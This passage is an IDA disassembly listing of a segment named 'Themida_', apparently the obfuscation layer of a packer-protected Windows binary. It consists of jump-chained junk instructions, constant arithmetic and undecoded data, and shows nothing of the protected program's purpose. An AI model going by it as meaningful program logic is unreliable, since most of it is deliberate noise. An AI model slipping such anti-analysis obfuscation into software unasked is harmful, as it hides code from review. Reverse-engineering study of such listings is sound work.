		add	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_54FB05
; ---------------------------------------------------------------------------
		dw 8156h
		dd 66CA242Ch, 148B4039h, 4C48124h, 81000000h, 3966CAC2h
		dd 64D8E940h, 0EF810000h, 2AC6235h, 237DEF81h, 0EF015876h
		dd 237DC781h, 0C7815876h, 2AC6235h, 11E4E95Dh, 24320000h
		dd 24243024h, 0E530EC30h, 0FFE2F9E9h, 6D1BBAFFh, 0F2811AE3h
		dd 11B60EC4h, 373AEA81h, 0D129DB2Bh, 8BCB015Ah,	0ABE9240Ch
		dd 50000017h, 0E688CC88h, 0F0285958h, 0D140E95Ah, 0F701FFFFh
		dd 2C7815Eh, 33000000h,	3C31243Ch, 243C3324h, 6624248Bh
		dd 68C8B60Fh, 78CFh, 539BE9h, 243C8700h, 421665Ch, 0D5E99C24h
		dd 83FFFFADh, 97E904C3h, 0BBFFFFEDh, 0
		dd 3B31CB01h, 3C8B595Bh, 4C48124h, 68000000h, 467Ah, 68241C89h
		dd 6021h, 0B8240489h, 8797351h,	4A252035h, 0B6E9504Dh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553CC3:				; CODE XREF: Themida_:0054F03Cj
		push	73FBh
		mov	[esp], edi
		mov	edi, 4CB92909h
		inc	edi
		jmp	loc_5567B9
; ---------------------------------------------------------------------------


loc_553CD6:				; CODE XREF: Themida_:00556F41j
		not	ebx
		jmp	loc_54F9EF
; ---------------------------------------------------------------------------
		align 2
		dw 5AF0h
		dd 0C3887004h, 0E924048Bh, 3D25h, 0BD242C89h, 2EB97C35h
		dd 0EDED814Dh, 2977203Eh, 2434FFEAh, 4C4835Dh, 55EFE9h
		dd 4EC8300h, 0E9242C89h, 67BCh
; ---------------------------------------------------------------------------


loc_553D14:				; CODE XREF: Themida_:005582B1j
		mov	ebp, 0F7B11D29h
		add	esi, ebp
		pop	ebp
		xor	eax, esi
		jmp	loc_554A41
; ---------------------------------------------------------------------------
		db 80h
		dd 0E950B9F6h, 0FFFFB8FDh, 0BA70E95Eh, 34FFFFFFh, 0C6E95824h
		dd 81FFFFB4h, 4C5h, 4C58300h, 0FFC37BE9h, 4A3BEFFh, 0F68161BBh
		dd 56BE16C8h, 0E95EF589h, 0FFFFD9ABh
; ---------------------------------------------------------------------------


loc_553D5C:				; CODE XREF: Themida_:00558DA0j
		neg	edi
		inc	edi
		sub	edi, 84180800h
		jmp	loc_559941
; ---------------------------------------------------------------------------
		dw 0DA68h
		dd 0E900001Dh, 69Bh
; ---------------------------------------------------------------------------


loc_553D74:				; CODE XREF: Themida_:00559CEDj
		sub	bl, ah
		jmp	loc_553A11
; ---------------------------------------------------------------------------
		db 81h
		dd 0C6246C5h, 0FDF8E948h, 5558FFFFh, 5615E9h, 24248900h
		dd 4240481h, 5D000000h,	4C581h,	0C5810000h, 4, 2474FF55h
		dd 1931E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553DAE:				; CODE XREF: Themida_:005512FFj
		mov	bl, 4Bh
		sub	bl, 4Eh
		sub	bl, 0E2h
		push	0
		sub	[esp], bl
		jmp	loc_556F46
; ---------------------------------------------------------------------------


loc_553DC3:				; CODE XREF: Themida_:0055846Aj
		xor	eax, 8DC46E3Bh
		jmp	loc_556A8B
; ---------------------------------------------------------------------------
		db 0ADh, 5, 4Dh
		dd 522F4768h, 0C281E289h, 4, 0E904EA83h, 4F3Dh
; ---------------------------------------------------------------------------


loc_553DE4:				; CODE XREF: Themida_:00551B45j
		xor	[esp], ebx
		jmp	loc_55A84C
; ---------------------------------------------------------------------------
		dd 0CD5E882Dh, 0DB054804h, 292D75F3h, 0D00158C2h, 8324148Bh
		dd 0D82904C4h, 6347E12Dh, 32390535h, 0A5E95CF9h, 8F000067h
		dd 41E94047h, 5CFFFFACh, 0FFAC3BE9h, 0E1BA52FFh, 31258B30h
		dd 4B63E9D5h, 0C7280000h, 66BFC780h, 0E90F0458h, 0DB6h
		dd 3717BE56h, 0EEC1564Ch, 1DF68108h, 0E93C0374h, 0EF2h
		dd 8BE9F729h, 1FFFFF0h,	0E9C15AD1h, 0BA524102h,	0E5C52B8Ch
		dd 1526E9h, 4E92C00h, 0D8285966h, 36E9FA04h, 0B9FFFFCBh
		dd 302A2CA9h, 0B15E9h, 5AE95300h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E87:				; CODE XREF: Themida_:0055B08Ej
		pop	ebx
		push	edx
		mov	edx, 2862A55h
		neg	edx
		add	edx, 684D5EBBh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555DFF
; ---------------------------------------------------------------------------


loc_553EA3:				; CODE XREF: Themida_:0055A19Dj
		pop	esi
		jmp	loc_55AF20
; ---------------------------------------------------------------------------


loc_553EA9:				; CODE XREF: Themida_:005564DEj
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	ecx
		mov	ecx, 6C965734h
		jmp	loc_54FA96
; ---------------------------------------------------------------------------
		dd 0F972BF57h, 0F989F1A8h, 58C1015Fh, 6859CA01h, 73E2h
		dd 55240489h, 2BDh, 8BE88900h, 0E9242Ch, 81000058h, 4C6h
		dd 24348700h, 0FFAD67E9h, 90B252FFh, 0E9E1B450h, 0FFFFD2C5h
; ---------------------------------------------------------------------------


loc_553F08:				; CODE XREF: Themida_:0054F608j
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_559891
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 0FFFFAB34h, 1833C381h, 8F6611C1h
		dd 0AB26E900h, 1C89FFFFh, 4919E924h, 0D9010000h, 83241C8Bh
		dd 0E95304C4h, 0FFFFFD43h, 67BFBE56h, 0F7011755h, 3C875D5Eh
		dd 0D2E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F5E:				; CODE XREF: Themida_:00558A31j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7CD73C51h
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_552BB0
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0D4E904C4h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553F9F:				; CODE XREF: Themida_:005566FFj
		add	esp, 4
		jmp	loc_550BF0
; ---------------------------------------------------------------------------
		db 21h
		dd 1C8B1C5Fh, 0E6895624h, 0CA2E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553FB6:				; CODE XREF: Themida_:005550CCj
		add	eax, edx
		pop	edx
		and	eax, 7D3121F0h
		inc	eax
		add	eax, 1
		sub	eax, 1
		shr	eax, 7
		sub	eax, 0B401E447h
		jmp	loc_54F0E1
; ---------------------------------------------------------------------------
		dd 13ECEB81h, 15F4C62h,	0DDBDE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553FE2:				; CODE XREF: Themida_:005556DAj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 3BA943ADh
		sub	[esp+4], ecx
		jmp	loc_551436
; ---------------------------------------------------------------------------
		dw 8B52h
		dd 0C483241Ch, 0A0E95A04h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554007:				; CODE XREF: Themida_:0054F5C5j
		push	0C5F24F2h
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, ecx
		jmp	loc_555002
; ---------------------------------------------------------------------------
		dd 4EE81h, 34330000h, 24343124h, 0FFC61EE9h, 2E3C1FFh
		dd 2999CB81h, 0E3D13487h, 0C2EB8143h, 0E9D5700Ah, 0FFFFC550h
		dd 62D7EE81h, 0CE8105EAh, 408B287Fh, 8105EEC1h,	9DFF59EEh
		dd 5EF201ADh, 0EA81DA01h, 5A58600Eh, 4EC835Bh, 0FF241489h
		dd 5A042474h, 5C24048Fh, 0E99CC884h, 0FFFFA9E0h, 5704C783h
		dd 42474FFh, 24048F5Fh,	0E289525Ch, 4EC81h, 1C890000h
		dd 3B746824h, 565B460Fh, 0E11A06BEh, 0F7D68722h, 81D687D2h
		dd 0FA0ADECEh, 71C6814Dh, 2968104Bh, 0EA815EF3h, 25426DC8h
		dd 0F2E9DA01h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5540C3:				; CODE XREF: Themida_:00550279j
		add	edx, ebp
		pop	ebp
		xor	edx, 0B5B34BF4h
		add	eax, 32662425h
		sub	eax, edx
		sub	eax, 32662425h
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 80h
		dd 0CA00EDC1h, 6FF0E9h,	815B5400h, 4C3h, 2685200h, 5A000000h
		dd 57C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554111:				; CODE XREF: Themida_:00554CF1j
		push	eax
		mov	eax, 50CD2AE4h
		sub	esi, eax
		pop	eax
		sub	esi, edx
		add	esi, 50CD2AE4h
		pop	edx
		add	eax, esi
		pop	esi
		add	eax, esi
		sub	eax, 29107210h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebx, eax
		push	119Eh
		mov	[esp], ebp
		push	7EDCh
		mov	[esp], eax
		pop	ebp
		jmp	loc_5584D8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4FB32E5Ch, 361FCD81h, 0F7555F69h, 815D241Ch,	4C1A5F5h
		dd 5DEB01A0h, 5304C383h, 6268E9h
		db 0
; ---------------------------------------------------------------------------


loc_554171:				; CODE XREF: Themida_:0054F532j
		not	dword ptr [esp]
		pop	esi
		jmp	loc_54FD20
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 526E7B40h, 1ADBEF81h, 4BE94B74h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55418B:				; CODE XREF: Themida_:00555F67j
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		jmp	loc_554D34
; ---------------------------------------------------------------------------
		db 88h,	0C3h, 58h
		dd 66D83059h, 53241C8Bh, 0C381E389h, 4,	0E904EB83h, 54DDh
		dd 0BE56CB29h, 53D85589h, 198AE9h, 19685100h, 594B9B52h
		dd 0ED5DE949h, 34FFFFFFh, 39E95824h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541DB:				; CODE XREF: Themida_:00555438j
		pop	eax
		push	3999h
		mov	[esp], ecx
		mov	ecx, 0BDEFDBFDh
		add	ebx, 766B16F0h
		sub	ebx, 23E46BCEh
		add	ebx, ecx
		add	ebx, 23E46BCEh
		sub	ebx, 766B16F0h
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55296F
; ---------------------------------------------------------------------------
		dw 0EB00h
aAiqyqsQfpsn1	db '€ëqYQS³ŸfPé­1',0
		db 0
; ---------------------------------------------------------------------------


loc_554227:				; CODE XREF: Themida_:00552956j
		mov	esi, 3EA07B0Ah
		push	ebx
		mov	ebx, 12751E7h
		add	eax, ebx
		pop	ebx
		jmp	loc_552BDE
; ---------------------------------------------------------------------------


loc_55423A:				; CODE XREF: Themida_:00550587j
		push	ebx
		jmp	loc_556F38
; ---------------------------------------------------------------------------
		dd 0DC2DD801h
		db 28h,	53h, 79h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_54FEB0
; ---------------------------------------------------------------------------


loc_554250:				; CODE XREF: Themida_:005589B6j
		mov	esi, 78E33F0Fh
		sub	dword ptr [esp+8], 45DA0FEFh
		sub	[esp+8], esi
		add	dword ptr [esp+8], 45DA0FEFh
		jmp	loc_550AEC
; ---------------------------------------------------------------------------


loc_55426E:				; CODE XREF: Themida_:00553A75j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	esi
		mov	esi, 692644E9h
		jmp	loc_55617D
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 24148BD7h,	4C481h,	8E90000h, 55FFFFEBh, 4BDh
		dd 8BEF0100h, 0C481242Ch, 4, 0FFA8AEE9h, 0B1515AFFh, 0E9CB28CFh
		dd 0BDAh, 0C8BCA01h, 4C48124h, 0E9000000h, 11CFh
; ---------------------------------------------------------------------------


loc_5542D4:				; CODE XREF: Themida_:0054F0DCj
		mov	[esp], ecx
		jmp	loc_550808
; ---------------------------------------------------------------------------


loc_5542DC:				; CODE XREF: Themida_:00550B06j
		add	eax, ebp
		jmp	loc_557CE2
; ---------------------------------------------------------------------------


loc_5542E3:				; CODE XREF: Themida_:00553BD0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0D4EACE21h, 2115E981h, 0E9294BB5h, 2115C181h, 885D4BB5h
		dd 240C8B01h, 0E904C483h, 0FFFFA748h, 4C2815Ah,	81000000h
		dd 4ECh, 0AB62E900h, 0EC81FFFFh, 4, 89241489h, 4C281E2h
		dd 81000000h, 4C2h, 24143300h, 0FFC6E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554345:				; CODE XREF: Themida_:00554DB2j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55740D
; ---------------------------------------------------------------------------


loc_554356:				; CODE XREF: Themida_:00557B32j
		add	ecx, 55C130C2h
		xor	ecx, 0E47D9219h
		jmp	loc_553BD5
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B241487h, 0C2812424h, 597E5860h, 0FFA6E3E9h, 80C581FFh
		dd 4521CE7Eh, 7CB7CD81h, 0DDF705CDh, 0E4F58145h, 293D3F1Fh
		dd 0CA315DE9h, 5AD08959h, 1807E9h, 24343300h, 48B665Ch
		dd 0E7895724h, 4C781h, 4D680000h, 89000066h, 5D682414h
		dd 8900002Dh, 6855243Ch, 6372499h, 248E95Dh, 0C4830000h
		dd 4C38104h, 50000000h,	2B8h, 0D1BD5500h, 0C10C8C21h, 68E905EDh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5543E7:				; CODE XREF: Themida_:00556A99j
		add	edx, eax
		jmp	loc_55A516
; ---------------------------------------------------------------------------


loc_5543EE:				; CODE XREF: Themida_:00554C33j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_554BAF
; ---------------------------------------------------------------------------


loc_554408:				; CODE XREF: Themida_:0055AB35j
		and	eax, edx
		jmp	loc_54FAA6
; ---------------------------------------------------------------------------
		db 89h
		dd 1682434h, 0FF000000h, 2BE92434h, 0DFFFFD7h, 5525420Ah
		dd 21150540h, 0C7018012h, 0FC4AE958h, 8B5CFFFFh, 0C4812414h
		dd 4, 1EE4E9h, 83D7F700h, 8147FFC7h, 0E8202EE7h, 4F78102h
		dd 102C000h, 243C8BFAh,	4C481h,	0C2810000h, 2, 0E9241433h
		dd 0FFFFEFF5h, 5594305h, 3FBF571Dh, 8167AF53h, 223C6BF7h
		dd 0A8E7816Eh, 5553D613h, 125546BDh, 0E9EF0937h, 0FFFFCABBh
; ---------------------------------------------------------------------------


loc_554490:				; CODE XREF: Themida_:00559712j
		xchg	ecx, [esp]
		pop	esp
		push	1031h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_559E07
; ---------------------------------------------------------------------------


loc_5544A3:				; CODE XREF: Themida_:0055A203j
		push	esi
		push	ebx
		mov	ebx, 71E80F5Bh
		shl	ebx, 6
		shr	ebx, 7
		or	ebx, 2095092Bh
		shr	ebx, 8
		not	ebx
		xor	ebx, 0FFDF0AF4h
		mov	esi, ebx
		pop	ebx
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_550ACB
; ---------------------------------------------------------------------------


loc_5544D0:				; CODE XREF: Themida_:00559CD8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	al, dl
		pop	dx
		jmp	loc_55701C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 5EF606EAh, 241C875Ah, 0FFCEF5E9h, 0C8B66FFh,	7BE95324h
		dd 89000061h, 57AEE9C7h, 50680000h, 89000065h, 0AEE92414h
		dd 8F000010h, 248B2404h, 4EC8124h, 89000000h, 47B7241Ch
		dd 0EC83DFF6h, 4896602h, 8686624h, 0C89666Dh, 0E92FB524h
		dd 0FFFFE322h, 0E950D8F7h, 50CFh, 0BB241C89h, 4, 555BDE01h
		dd 3F3C86BDh, 81EDD113h, 2424F6E5h, 0EEC5816Dh,	0C1562442h
		dd 0EDC106E5h, 5EED8105h, 5106508Eh, 821DBBB9h,	59CE2916h
		dd 0C681EE01h, 16821DBBh, 2434335Dh, 33243431h,	67E92434h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55458F:				; CODE XREF: Themida_:0054ED8Fj
		pop	eax
		jmp	loc_55A48D
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0C5810000h, 2BF312D6h, 2649C581h, 0FD0168C7h, 2649ED81h
		dd 0BF5768C7h, 67DF5D62h, 1BB5BE56h, 0C78166A5h, 370B4FB2h
		dd 0EF81F701h, 370B4FB2h, 4E7C15Eh, 8101C783h, 0B483A7F7h
		dd 5FFD29C3h, 242C875Fh, 0E924248Bh, 14D4h, 52242C8Bh
		dd 0E9E289h, 0B1000001h, 0A8C180EFh, 0FFBBF7E9h, 241C31FFh
		dd 31241C33h, 4768241Ch, 89000027h, 1C31241Ch, 0ABBAE924h
		dd 0ED81FFFFh, 6372497h, 0FFD31BE9h, 3BBBDFFh, 0BFB93D49h
		dd 293D4903h, 0C3815DE9h, 1B764E1h, 5D68CB29h, 89000023h
		dd 93E9240Ch, 1000000h,	24148BD0h, 5204C483h, 9F641BBAh
		dd 0E9565549h, 0FFFFF6F5h, 33241C31h, 248B241Ch, 0C896624h
		dd 0D1ADE924h, 0E089FFFFh, 5D79E9h, 8BF50100h, 0C4812434h
		dd 4, 2BB53h, 0DD010000h, 242C335Bh, 0FFD678E9h, 240C8BFFh
		dd 400B68h, 24048900h, 696FE9h,	0E9DD8900h, 0CB4h, 1D57E941h
		dd 875E0000h, 665C2414h, 9C243CD3h, 3182E9h
		db 0
; ---------------------------------------------------------------------------


loc_5546B5:				; CODE XREF: Themida_:005522D7j
		mov	dh, 0C4h
		push	5FFh
		jmp	loc_5512FC
; ---------------------------------------------------------------------------
aVsC		db 'Vé=c',0
		dw 0BD00h
		dd 45426482h, 0A67CE945h, 0EDB9FFFFh, 49027449h, 37BDE9h
		dd 48B6600h, 7DD16824h,	0C890000h, 0F3E95424h, 81FFFFEFh
		dd 4C2h, 0B580E900h, 0E181FFFFh, 2D3900A0h, 27A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_554705:				; CODE XREF: Themida_:00555757j
		push	64F9h
		mov	[esp], edi
		push	ecx
		push	536F41DCh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_556201
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
		dd 1AC32CEBh, 0E9DF299Dh, 1FF8h, 33241431h, 0E95C2414h
		dd 0FFFFDC84h, 0EC83405Dh, 243C8904h, 765B6850h, 48B5DDBh
		dd 0DC03E924h, 0F201FFFFh, 0FFFF4DE9h, 0F5BA52FFh, 0E975B240h
		dd 0FFFFB256h, 68242C89h, 47A8h, 0C7F2E954h, 8153FFFFh
		dd 15FC2404h, 815F2703h, 315FCEFh, 33E95B27h, 66FFFFECh
		dd 0C1816641h, 0EC83BBEEh, 1C896602h, 0DEBB6624h, 0D8296643h
		dd 2D665B66h, 2D660643h, 0BE95601h, 89FFFFA8h, 3BBA2414h
		dd 811CE24Eh, 67042444h, 2964F355h, 81042454h, 6704246Ch
		dd 0E964F355h, 41BDh, 0EB81C329h, 10DA5FB2h, 35EEBA52h
		dd 4CE9300Ch, 5C000002h, 24048B66h, 2829E9h, 0BE5600h
		dd 29000000h, 4A0AE9DEh, 0B6680000h, 8900006Ah,	0E0B5240Ch
		dd 287FF580h, 240C8BE8h, 4C481h, 6B040000h, 6B2CD828h
		dd 0EC839F04h, 24148904h, 380460B6h, 5366F000h,	0F82838B7h
		dd 515A5B66h, 505228B1h, 0E8C058B0h, 4C0FE03h, 0E9C8FE76h
		dd 6151h, 24048B66h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 15E92414h, 66FFFFD2h, 663DE268h, 55242489h, 0C5815D54h
		dd 4, 8702ED83h, 248B242Ch, 2C896624h, 6315E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55487E:				; CODE XREF: Themida_:0055398Bj
		mov	eax, 1C5E686Bh
		push	ebx
		mov	ebx, 0C5C00D9h
		jmp	loc_551870
; ---------------------------------------------------------------------------


loc_55488E:				; CODE XREF: Themida_:005507DAj
		mov	ebx, esp
		push	104Fh
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_558343
; ---------------------------------------------------------------------------
		dd 3AF5C281h, 0D329F3BDh, 0E9D3015Ah, 88h
; ---------------------------------------------------------------------------


loc_5548B4:				; CODE XREF: Themida_:0055A619j
		push	72D6h
		mov	[esp], ecx
		mov	ecx, 47256A28h
		or	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	24D0h
		mov	[esp], esi
		mov	esi, 8848A5C1h
		add	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_553400
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552397
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 97h
		dd 0FFC0B60Fh, 4DE98734h, 56FFFFA1h, 4BEh, 54BBE900h, 1C890000h
		dd 51E38924h, 196CBF57h, 30E9180Ch
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55492B:				; CODE XREF: Themida_:00551576j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555454
; ---------------------------------------------------------------------------
		dd 5047B850h, 0C3015BBFh, 1C875A58h, 24248B24h,	0FFB1AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554951:				; CODE XREF: Themida_:005574E6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5509D7
; ---------------------------------------------------------------------------
		dd 0E932FF64h, 0FFFFA53Eh, 9D1C77FFh, 14D35966h, 0E5E99C24h
		dd 0BBFFFFA0h, 4, 0E95BDE89h, 5514h, 0FFC1835Eh, 8108E1C1h
		dd 4ECh, 2CDE900h, 0E9520000h, 0FFFFF28Dh, 0F0000E04h
		dd 8B660E2Ch, 8C682414h, 0E9000050h, 0FFFFFF6Ah
; ---------------------------------------------------------------------------


loc_5549B0:				; CODE XREF: Themida_:00555B98j
		pop	eax
		jmp	loc_54ECB4
; ---------------------------------------------------------------------------


loc_5549B6:				; CODE XREF: Themida_:0055881Aj
		push	edi
		dec	dword ptr [esp]
		pop	edi
		jmp	loc_553067
; ---------------------------------------------------------------------------


loc_5549C0:				; CODE XREF: Themida_:00554B71j
		sub	ebp, 611C0A42h
		mov	edi, [esp]
		push	esi
		jmp	loc_5501D5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFBE14h, 4E9815Fh, 87000000h
		dd 895C240Ch, 45E9240Ch, 83000032h, 0C32904C4h,	57C32958h
		dd 980067BFh, 5FFB0162h, 24148B66h, 4EC81h, 14890000h
		dd 57E28924h, 4BFh, 1C82E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A1E:				; CODE XREF: Themida_:00551BE1j
		add	esi, eax
		jmp	loc_55873A
; ---------------------------------------------------------------------------


loc_554A25:				; CODE XREF: Themida_:0055178Cj
		pop	edx
		jmp	loc_555DF0
; ---------------------------------------------------------------------------
		db 42h
		dd 1A92E942h, 0C14D0000h, 0BA5205EDh, 349D043Bh, 0C69E9h
		db 0
; ---------------------------------------------------------------------------


loc_554A41:				; CODE XREF: Themida_:00553D1Ej
		pop	esi
		add	ebx, eax
		jmp	loc_556EB7
; ---------------------------------------------------------------------------


loc_554A49:				; CODE XREF: Themida_:005572FBj
		push	1BEDh
		mov	[esp], ebx
		mov	ebx, 4
		push	eax
		push	ebp
		mov	ebp, 3719582Fh
		not	ebp
		not	ebp
		jmp	loc_5574EB
; ---------------------------------------------------------------------------


loc_554A66:				; CODE XREF: Themida_:00559682j
		add	edx, 71615EE7h
		jmp	loc_55753C
; ---------------------------------------------------------------------------


loc_554A71:				; CODE XREF: Themida_:00556F4Aj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5539AD
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9240489h, 0FFFF9FD0h, 525CDA68h, 72E95832h
		dd 89FFFFA3h, 5E542434h, 4C681h, 0C6810000h, 2,	8B243487h
		dd 0D3662424h, 0E99C2404h, 0FFFF9FA4h, 0C681CE01h, 5B045127h
		dd 0E208E959h, 0C281FFFFh, 4, 2474FF52h, 0E7E95A04h, 59FFFFC3h
		dd 4C481h, 0C4810000h, 4, 0EC815052h, 4, 0B6241489h, 0F22DE984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554AF6:				; CODE XREF: Themida_:005582C4j
		or	ebp, 4E27569Dh
		push	ebx
		mov	ebx, 404F710Dh
		and	ebp, ebx
		pop	ebx
		or	ebp, 389851CEh
		jmp	loc_559B7D
; ---------------------------------------------------------------------------
		dd 405h, 0A0BCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554B1A:				; CODE XREF: Themida_:005508B1j
		push	edx
		mov	edx, 1A0310B6h
		sub	edx, 47FBCB30h
		jmp	loc_54F707
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 0EF830000h, 0B0A2E904h, 2C81FFFFh, 2211D824h
		dd 242C813Bh, 1BC63A46h, 31240481h, 16A1F5Fh, 2C812404h
		dd 1F5F3124h, 46BB536Ah, 11BC63Ah, 5B04245Ch, 11D8B951h
		dd 0F3E93B22h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554B6F:				; CODE XREF: Themida_:005573BDj
		add	ebp, edi
		jmp	loc_5549C0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 62E95604h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_554B7F:				; CODE XREF: Themida_:00556178j
		pop	edx
		xchg	ebx, [esp]
		pop	esp


loc_554B84:				; CODE XREF: Themida_:0054F3B4j
		push	6D7Eh
		mov	[esp], esi
		mov	esi, ebx
		push	3FAFh
		mov	[esp], esi
		jmp	loc_550B4D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0FFAA25E9h, 8BE821FFh, 86E9242Ch
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554BAF:				; CODE XREF: Themida_:00554403j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_557F49
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 5C240487h, 0E9241C89h,	3B07h, 8BC38966h
		dd 7FE92404h, 81FFFFE6h, 972B0FC1h, 0D175E951h,	0F800FFFFh
		dd 1C8B0F2Ch, 4C48124h,	80000000h, 0EC833EEBh, 240C8904h
		dd 1007E9h
		db 0
; ---------------------------------------------------------------------------


loc_554C0D:				; CODE XREF: Themida_:005554F7j
		pop	edi
		push	edx
		jmp	loc_5582B6
; ---------------------------------------------------------------------------
		dd 3D0E68h, 24148900h, 0B9515A54h, 62B250F5h, 4790BB53h
		dd 0D9015449h, 0FFE1B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554C31:				; CODE XREF: Themida_:0055AC33j
		mov	eax, esp
		jmp	loc_5543EE
; ---------------------------------------------------------------------------
		dd 0EC83E289h, 24048904h, 4B8h,	58C20100h, 849BE56h, 0D5E917E3h
		dd 0E9000033h, 0FFFF9E04h, 104FB850h, 24E92B9Eh, 89000016h
		dd 72BF243Ch, 1756859h,	0E1C15FF9h, 2AC18108h, 89C99103h
		dd 0A6E959CAh, 81000045h, 0EFF004C3h, 5BDE01F7h, 4BD55h
		dd 78E90000h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554C93:				; CODE XREF: Themida_:005596EAj
		add	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 71037DB0h
		neg	esi
		add	esi, 0B36BC47Bh
		jmp	loc_5589F7
; ---------------------------------------------------------------------------
		dd 451AE954h, 0EC830000h, 24248904h, 7B8F68h, 241C8900h
		dd 0FFE7F4E9h, 5F3625FFh, 0C235674Eh, 0E955EE34h, 0FFFFC1F2h
; ---------------------------------------------------------------------------


loc_554CD4:				; CODE XREF: Themida_:00553AF2j
		shl	ebp, 1
		or	ebp, 447C62EAh
		sub	ebp, 13F7A6FCh
		and	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 72B401CAh
		add	edx, 6D40CCE2h
